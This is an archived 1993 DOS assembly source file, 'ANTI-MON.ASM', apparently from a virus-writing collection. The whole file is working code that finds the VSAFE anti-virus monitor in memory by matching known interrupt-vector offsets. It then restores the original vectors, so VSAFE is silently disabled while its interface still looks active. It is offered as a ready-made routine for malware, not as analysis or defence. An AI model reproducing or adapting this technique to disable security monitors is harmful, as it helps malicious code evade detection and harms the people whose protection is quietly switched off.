home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT15.ZIP / ANTI-MON.ASM next >
Assembly Source File  |  1980-01-01  |  10KB  |  166 lines

  1. ;**********************************************************************************************
  2. ;*                                                                                            *
  3. ;*      FILE:     ANTI-MON.ASM (c) 1993                                                       *
  4. ;*      PURPOSE:  Detect and remove a TSR anti-viral monitor                                  *
  5. ;*      AUTHOR:   Willoughby    DATE: 05/09/93                                                *
  6. ;*                                                                                            *
  7. ;**********************************************************************************************
  8.  
  9. MAIN    SEGMENT BYTE
  10.         ASSUME  CS:MAIN,DS:MAIN,ES:MAIN
  11.  
  12.         ORG     100H
  13.  
  14. ;**********************************************************************************************
  15. ;The purpose of this routine is simply to demonstrate the function of the FIND_AV_MON and 
  16. ;NEUT_AV_MON routines.  It displays a message based upon the results of the test for TSR anti-
  17. ;viral monitor interrupt vectors performed by the FIND_AV_MON routine and the action taken, if 
  18. ;needed, by the NEUT_AV_MON routine.  
  19.  
  20. START:  call    FIND_AV_MON                     ;check for installed anti-viral monitors
  21.         jc      MP1                             ;if carry is set, a monitor is present 
  22.         mov     dx,OFFSET NOT_HERE_MSG          ;if not, display appropriate message
  23.         jmp     MPEX                            ;during exit
  24. MP1:    cmp     WORD PTR [MONITOR_TYPE],0       ;check for type/version of monitor present
  25.         mov     dx,OFFSET MON0_HERE_MSG 
  26.         je      MP2                             ;if MONITOR_TYPE = 0, display v1.0 message
  27.         mov     dx,OFFSET MON1_HERE_MSG         ;otherwise, display v6.0 message
  28. MP2:    mov     ah,9
  29.         int     21H
  30.         call    NEUT_AV_MON                     ;then restore vectors to original values 
  31.         mov     dx,OFFSET BUT_NOW_MSG           ;display monitor removal message
  32. MPEX:   mov     ah,9
  33.         int     21H
  34.         mov     ax,4C00H                        ;exit program
  35.         int     21H
  36.  
  37. NOT_HERE_MSG:   
  38.         DB      0DH,0AH,'VSAFE is not present.',0DH,0AH,24H
  39. MON0_HERE_MSG:
  40.         DB      0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H
  41. MON1_HERE_MSG:
  42.         DB      0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H
  43. BUT_NOW_MSG:
  44.         DB      0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H
  45.  
  46.  
  47. ;**********************************************************************************************
  48. ;This routine tests for the presence in memory of two versions of VSAFE by comparing the 
  49. ;offsets of the interrupt vectors stolen during VSAFE's installation with known VSAFE interrupt 
  50. ;handler offsets.  When it finds any three offset values in the system interrupt vector table 
  51. ;which match the VSAFE offsets for the corresponding interrupt, the carry flag is set to 
  52. ;indicate the presence of VSAFE in memory to the calling routine.  The segment in which VSAFE 
  53. ;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in MONITOR_TYPE for use by 
  54. ;the NEUT_AV_MON routine. 
  55.  
  56. NUM_MONITORS    EQU     2                       ;# of anti-viral monitor types to check for
  57. NUM_VECTORS     EQU     8                       ;# of interrupt vector table entries to check
  58. MATCHES_REQ     EQU     3                       ;# of offset matches required for positive ID
  59.  
  60. FIND_AV_MON:
  61.         push    es
  62.         xor     ax,ax
  63.         mov     es,ax                           ;set ES to segment of interrupt vector table
  64.         mov     cx,NUM_VECTORS                  ;set loop counter to # of vectors to check 
  65.         mov     si,OFFSET VECTOR_OFFSETS        ;point SI to start of vector offset string
  66. FAMLP1: lodsw                                   ;load vector table offset of first vector
  67.         mov     bx,ax
  68.         mov     dx,w[es:bx]                     ;load offset of vector from table
  69.         xor     di,di                          
  70. FAMLP2: lodsw                                   ;load offset value used by anti-viral monitor
  71.         cmp     dx,0FFFFH                       ;test for skip vector check value
  72.         je      FAMLP3                          ;if skip value (FFFFH), exit inner loop
  73.         cmp     dx,ax                           ;does vector table value match monitor value?
  74.         jne     FAMLP3                                          ;if not, jump to end of loop
  75.         inc     BYTE PTR [OFFSET TOTAL_MATCHES+di]              ;if so, increment match counter
  76.         cmp     BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ  ;required # of matches found?
  77.         jne     FAMLP3                                          ;if not, jump to end of loop
  78.         add     bx,2                            ;set BX to point at vector segment value
  79.         mov     ax,WORD PTR [es:bx]             ;load anti-viral seg. value from vector table
  80.         mov     MONITOR_SEGMENT,ax              ;store segment value
  81.         mov     MONITOR_TYPE,di                 ;store monitor number indicating version/type
  82.         stc                                     ;set carry flag to indicate monitor was found
  83.         jmp     FAMEX                           
  84. FAMLP3: inc     di                              ;increment monitor number
  85.         cmp     di,NUM_MONITORS                 ;all monitor values checked for this vector?
  86.         jne     FAMLP2                          ;if not, do it all again
  87.         loop    FAMLP1                          ;if all vectors not checked, loop to check next
  88.         clc                                     ;clear carry flag to indicate no monitor found
  89. FAMEX:  pop     es
  90.         ret                                     
  91.  
  92. MONITOR_SEGMENT DW      ?                       ;storage location for monitor segment value
  93. MONITOR_TYPE    DW      ?                       ;ditto for monitor type
  94.  
  95. TOTAL_MATCHES:  DB      NUM_MONITORS    DUP     ?       ;table for vector match counts
  96.  
  97. VECTOR_OFFSETS:
  98.         DW      004CH,1039H,0352H               ;INT 13H, VSAFE1 offset, VSAFE6 offset
  99.         DW      0058H,12CDH,05DDH               ;INT 16H
  100.         DW      0080H,138CH,06BCH               ;INT 20H
  101.         DW      0084H,15F7H,0940H               ;INT 21H
  102.         DW      009CH,1887H,0C0CH               ;INT 27H
  103.         DW      00BCH,2476H,1440H               ;INT 2FH
  104.         DW      0100H,1254H,05CBH               ;INT 40H
  105.         DW      0024H,0FFFFH,02AFH              ;INT 09H (FFFFH = skip vector offset check)
  106.  
  107.  
  108. ;**********************************************************************************************
  109. ;This routine restores all but the keyboard interrupt vectors to their original values prior 
  110. ;to the residency of VSAFE.  This is accomplished by moving the original, unencrypted (!?) 
  111. ;vector values stored within VSAFE to their respective locations in the system interrupt vector 
  112. ;table.  VSAFE is, thereby, completely disabled, but appears to be fully functional because its 
  113. ;user interface continues to respond correctly to user inputs.  This routine uses the monitor 
  114. ;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) values returned by the
  115. ;FIND_AV_MON routine. 
  116.  
  117. TABLE_SEGMENT   EQU     0                       ;interrupt vector table segment
  118. NUM_RESTORE     EQU     6                       ;number of vectors to restore
  119.  
  120. NEUT_AV_MON:
  121.         push    es
  122.         mov     ax,OFFSET MON2_OFFSETS
  123.         sub     ax,OFFSET MON1_OFFSETS
  124.         mul     WORD PTR [MONITOR_TYPE]         ;calc. string offset for monitor type/version
  125.         mov     si,OFFSET MON1_OFFSETS         
  126.         add     si,ax                           ;point to first value in desired monitor string
  127.         mov     di,OFFSET TABLE_OFFSETS         ;ditto for table offset string
  128.         mov     cx,NUM_RESTORE                  ;set counter to number of vectors to restore  
  129. RESTORE_VECTS:
  130.         mov     bx,WORD PTR [si]                ;load monitor offset of original vector value
  131.         cmp     bx,0FFFFH                       ;test for skip restoral value
  132.         je      SKIP                            ;if skip value (FFFFH), then jump to loop
  133.         mov     es,MONITOR_SEGMENT              ;set ES to monitor segment
  134.         mov     ax,WORD PTR [es:bx]             ;load original vector offset from monitor
  135.         mov     ORIGINAL_OFF,ax                 ;store in scratch pad
  136.         mov     ax,WORD PTR [es:bx+2]           ;load original vector segment from monitor
  137.         mov     ORIGINAL_SEG,ax                 ;store in scratch pad
  138.         mov     bx,WORD PTR [di]                ;load corresponding int. vector table offset
  139.         mov     es,TABLE_SEGMENT                ;set ES to int. vector table segment
  140.         mov     ax,ORIGINAL_OFF                 ;load original vector offset
  141.         mov     WORD PTR [es:bx],ax             ;store original offset in vector table
  142.         mov     ax,ORIGINAL_SEG                 ;load original vector segment
  143.         mov     WORD PTR [es:bx+2],ax           ;store original segment in vector table
  144. SKIP:   add     si,2                            ;point SI to next string value
  145.         add     di,2                            ;ditto for DI
  146.         loop    RESTORE_VECTS                   ;loop to restore next vector
  147.         pop     es
  148.         ret                                     ;all done, monitor is totally neutralized
  149.  
  150. ORIGINAL_OFF    DW      ?                       ;temp. storage for original int. vector offset
  151. ORIGINAL_SEG    DW      ?                       ;ditto for segment
  152.  
  153. TABLE_OFFSETS:
  154.         DW      004CH,0080H,0084H,009CH,00BCH,0100H     ;offsets to INT vector table
  155.  
  156. MON1_OFFSETS:                                           ;VSAFE v1.0 offsets where
  157.         DW      1967H,196FH,1977H,197BH,242AH,197FH     ;original vectors are stored
  158.                                                         ;(FFFFH = skip vector restoral)
  159.  
  160. MON2_OFFSETS:                                           ;MS-DOS 6.0 VSAFE offsets where 
  161.         DW      0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH     ;original vectors are stored
  162.                                                         ;(FFFFH = skip vector restoral)
  163.  
  164. MAIN    ENDS
  165.  
  166.